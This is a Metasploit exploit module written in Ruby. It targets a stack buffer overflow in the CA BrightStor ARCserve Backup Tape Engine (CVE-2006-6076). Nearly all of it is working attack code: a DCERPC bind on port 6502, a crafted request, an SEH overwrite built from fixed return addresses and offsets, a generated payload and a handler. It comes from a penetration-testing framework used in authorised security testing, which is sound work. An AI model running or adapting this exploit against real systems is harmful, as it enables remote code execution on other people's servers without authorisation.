85 lines
2.5 KiB
Ruby
85 lines
2.5 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = AverageRanking
|
|
|
|
include Msf::Exploit::Remote::DCERPC
|
|
include Msf::Exploit::Remote::Seh
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'CA BrightStor ARCserve Tape Engine Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
|
|
r11.1 - r11.5. By sending a specially crafted DCERPC request, an attacker could overflow
|
|
the buffer and execute arbitrary code.
|
|
},
|
|
'Author' => [ 'MC', 'patrick' ],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2006-6076' ],
|
|
[ 'OSVDB', '30637' ],
|
|
[ 'BID', '21221' ],
|
|
[ 'EDB', '3086' ],
|
|
[ 'URL', 'http://www.ca.com/us/securityadvisor/newsinfo/collateral.aspx?cid=101317' ],
|
|
],
|
|
'Privileged' => true,
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 500,
|
|
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
|
|
'StackAdjustment' => -9500,
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'BrightStor ARCserve r11.1', { 'Ret' => 0x2380cdc7, 'Offset' => 1158 } ], #p/p/r cheyprod.dll 07/21/2004
|
|
[ 'BrightStor ARCserve r11.5', { 'Ret' => 0x2380ceb5, 'Offset' => 1132 } ], #p/p/r cheyprod.dll ??/??/????
|
|
],
|
|
'DisclosureDate' => 'Nov 21 2006',
|
|
'DefaultTarget' => 1))
|
|
|
|
register_options([ Opt::RPORT(6502) ], self.class)
|
|
end
|
|
|
|
def exploit
|
|
connect
|
|
|
|
handle = dcerpc_handle('62b93df0-8b02-11ce-876c-00805f842837', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
|
|
print_status("Binding to #{handle} ...")
|
|
|
|
dcerpc_bind(handle)
|
|
print_status("Bound to #{handle} ...")
|
|
|
|
request = "\x00\x04\x08\x0c\x02\x00\x00\x00\x00\x00"
|
|
request << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
|
|
dcerpc.call(43, request)
|
|
|
|
filler = "\x10\x09\xf9\x77" + rand_text_english(target['Offset'])
|
|
seh = generate_seh_payload(target.ret)
|
|
sploit = filler + seh
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
begin
|
|
dcerpc_call(38, sploit)
|
|
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
|
|
end
|
|
|
|
handler
|
|
disconnect
|
|
end
|
|
|
|
end
|